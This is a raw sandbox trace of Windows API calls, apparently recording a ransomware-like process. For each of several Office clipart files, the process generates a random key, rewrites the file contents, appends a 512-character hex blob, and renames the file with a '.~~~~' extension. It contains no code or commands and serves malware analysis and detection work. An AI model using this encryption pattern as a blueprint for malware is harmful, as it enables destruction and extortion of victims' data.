	[0099.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285fa70
	[0099.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.072] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0099.072] GetLastError () returned 0x0
	[0099.073] GetLastError () returned 0x0
	[0099.073] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0099.073] GetLastError () returned 0x0
	[0099.073] GetLastError () returned 0x0
	[0099.095] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff7b5a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.095] WriteFile (in: hFile=0xc4, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x84a6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x84a6, lpOverlapped=0x0) returned 1
	[0099.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0099.096] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.096] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.096] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.096] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.096] CloseHandle (hObject=0xc4) returned 1
	[0099.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.097] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.~~~~")) returned 1
	[0099.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.098] GetLastError () returned 0x0
	[0099.098] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0099.099] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.099] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0099.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0099.099] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21908906608) returned 1
	[0099.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4c1c390, dwHighDateTime=0x1d60e1e)) 
	[0099.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0099.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0099.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0099.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841e28
	[0099.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841e28 | out: hHeap=0x300000) returned 1
	[0099.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285fe98
	[0099.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.110] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0099.110] GetLastError () returned 0x0
	[0099.110] GetLastError () returned 0x0
	[0099.111] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0099.111] GetLastError () returned 0x0
	[0099.111] GetLastError () returned 0x0
	[0099.118] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffef82c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.118] WriteFile (in: hFile=0xc4, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x107d4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x107d4, lpOverlapped=0x0) returned 1
	[0099.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0099.119] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.119] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.119] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.119] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.119] CloseHandle (hObject=0xc4) returned 1
	[0099.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.123] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.~~~~")) returned 1
	[0099.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.131] GetLastError () returned 0x0
	[0099.132] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0099.141] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.141] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0099.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0099.141] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21913082349) returned 1
	[0099.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4c8e7b0, dwHighDateTime=0x1d60e1e)) 
	[0099.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0099.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0099.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0099.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841ed0
	[0099.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841ed0 | out: hHeap=0x300000) returned 1
	[0099.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.142] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.142] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385d90
	[0099.142] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.142] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0099.142] GetLastError () returned 0x0
	[0099.142] GetLastError () returned 0x0
	[0099.142] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0099.142] GetLastError () returned 0x0
	[0099.142] GetLastError () returned 0x0
	[0099.195] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff4abc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.195] WriteFile (in: hFile=0x128, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0xb544, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x26dfec0*=0xb544, lpOverlapped=0x0) returned 1
	[0099.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.197] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.197] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.197] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.197] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.198] CloseHandle (hObject=0x128) returned 1
	[0099.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.200] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.~~~~")) returned 1
	[0099.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.220] GetLastError () returned 0x0
	[0099.220] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0099.221] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.221] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0099.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0099.221] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21921101035) returned 1
	[0099.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4d4ce90, dwHighDateTime=0x1d60e1e)) 
	[0099.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0099.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0099.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0099.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a28a8
	[0099.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a28a8 | out: hHeap=0x300000) returned 1
	[0099.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860218
	[0099.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.221] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0099.222] GetLastError () returned 0x0
	[0099.222] GetLastError () returned 0x0
	[0099.222] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0099.222] GetLastError () returned 0x0
	[0099.222] GetLastError () returned 0x0
	[0099.227] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffcc6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.227] WriteFile (in: hFile=0xc4, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x3394, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x3394, lpOverlapped=0x0) returned 1
	[0099.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0099.228] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.228] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.228] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.228] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.228] CloseHandle (hObject=0xc4) returned 1
	[0099.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.228] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.~~~~")) returned 1
	[0099.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.229] GetLastError () returned 0x0
	[0099.229] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0099.230] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0099.230] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0099.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0099.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0099.231] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21922065821) returned 1
	[0099.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4d72ff0, dwHighDateTime=0x1d60e1e)) 
	[0099.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0099.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0099.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0099.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2838
	[0099.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2838 | out: hHeap=0x300000) returned 1
	[0099.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28606d8
	[0099.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.231] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0099.231] GetLastError () returned 0x0
	[0099.231] GetLastError () returned 0x0
	[0099.232] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0099.232] GetLastError () returned 0x0
	[0099.232] GetLastError () returned 0x0
	[0099.246] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffd600, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.246] WriteFile (in: hFile=0xc4, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x2a00, lpOverlapped=0x0) returned 1
	[0099.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0099.247] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.247] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.247] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.247] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.247] CloseHandle (hObject=0xc4) returned 1
	[0099.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.247] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.~~~~")) returned 1
	[0099.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.248] GetLastError () returned 0x0
	[0099.260] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0099.261] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.261] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0099.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0099.261] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21925149028) returned 1
	[0099.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4dbf2b0, dwHighDateTime=0x1d60e1e)) 
	[0099.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0099.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0099.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0099.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2790
	[0099.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2790 | out: hHeap=0x300000) returned 1
	[0099.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
